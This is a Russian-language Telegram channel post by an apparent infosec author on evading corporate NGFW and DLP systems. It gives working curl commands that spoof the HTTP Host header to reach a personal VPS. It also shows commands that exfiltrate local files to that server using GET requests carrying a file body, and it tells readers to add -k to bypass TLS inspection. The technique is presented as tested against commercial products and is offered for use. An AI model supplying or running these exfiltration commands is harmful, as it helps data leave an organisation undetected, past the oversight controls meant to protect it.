KGM's notes
669 subscribers
15 photos
8 videos
6 files
28 links
Авторский контент на тему ИБ (web/mobile/social).
Делюсь тем, что хотел бы получить сам когда-то.

https://kgmnotes.ru/ - полезные статьи и заметки по ИБ
https://0xmerch.ru - качественный ИБ-мерч

Для связи: @Russian_OSlNT
Download Telegram
🚀 20% усилий - 80% результата при обходе NGFW и DLP-систем

Тема интересная, много чего можно перепробовать на самом деле... Будем есть слона по частям и в этом посте начнем с разбора самых базовых способов обхода таких систем:

1) Если в организации запрещено прямое обращение на внешние ресурсы по IP-адресу, а вам необходимо скачать, например, с вашего VPS-сервера некоторый файл (но вы не желаете по какой-то причине заморачиваться с регистрацией домена), то стоит попробовать просто добавить фиктивный HTTP-заголовок Host, например:

БЫЛО: curl <URL>/file.txt, где <URL> - это URL-адрес вашего VPS-сервера (протокол:ip:port). Допустим, что запрос, отправленный таким образом, отбрасывается в сети организации не может выйти в сеть Интернет;

СТАЛО: curl -H "Host: <DOMAIN>" <URL>/file.txt, где <DOMAIN> - доменное имя любого веб-сайта, доступ к которому не ограничен из сети организации (может это будет github.com или yandex.ru и т.д.);

И если вы планируете выгрузить файл на ваш VPS-сервер, то можете это сделать следующим образом:
curl -X POST -H "Host: <DOMAIN>" -F "file=@<PATH_TO_FILE>" <URL>/upload, где <PATH_TO_FILE> - путь до файла на диске

2) Если в организации запрещено выгружать файлы на внешние веб-ресурсы, а вам необходимо произвести эксфильтрацию данных на ваш VPS-сервер, то следует попробовать собрать неординарный HTTP-запрос:

БЫЛО: curl -X POST -F 'file=@<PATH_TO_FILE>' <URL>/upload, где <URL> - уже может содержать не только IP, но и доменное имя (про регистрацию доменных имен мы поговорим отдельно) - DLP распознает попытку передачи файла с помощью POST-запроса и блокирует его;

📜 Bypass данного ограничения мне пришел после реверса одного из мобильных приложений, в котором использовалась Яндекс Метрика. SDK-модуль Метрики слал на сервера компании Яндекс POST-запросы с GET-параметрами, мне это показалось интересным и я решил реализовать уже свой веб-сервер, который смог бы принимать GET-запросы с телом (как у обычных POST или PUT запросов) и сохранять отправляемые ему файлы

СТАЛО:
curl -X GET -F "file=@<PATH_TO_FILE>" <URL>/upload (а-ля POST-запрос, но в методе будет указан GET)
или
curl -X GET -T <PATH_TO_FILE> <URL>/upload (а-ля PUT-запрос, но в методе будет указан GET)
Вы можете самостоятельно посмотреть разницу между этими двумя способами отправки файлов с помощью Wireshark.

💡Стоит обратить внимание, что если вы работаете с HTTPS ресурсом, то добавляйте к каждому вызову curl параметр --insecure (или -k), так как зачастую NGFW и DLP-системы в организации будут подсовывать вам свой TLS-сертификат, чтобы читать весь ваш HTTPS-трафик.

Оба описанных в данной заметке способа позволили мне обойти различные NGFW и DLP-системы ведущих игроков на западном и отечественном рынках, дальше мы будем еще больше говорить о рабочих способах обхода таких систем

В продолжение к этому посту я выложу файл server.py, который позволит вам использовать оба описанных в данной заметке трюка. Базовый запуск: python server.py, если нужна будет помощь, то добавляйте параметр --help.

🔗 Полезные ссылки:

- T1567: Эксфильтрация через веб-службу (EN)
- T1567: Эксфильтрация через веб-службу (RU)

#curl #python #exfiltration #infiltration #exfil #T1567

KGM's notes | KGM's notes (EN)
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10👍1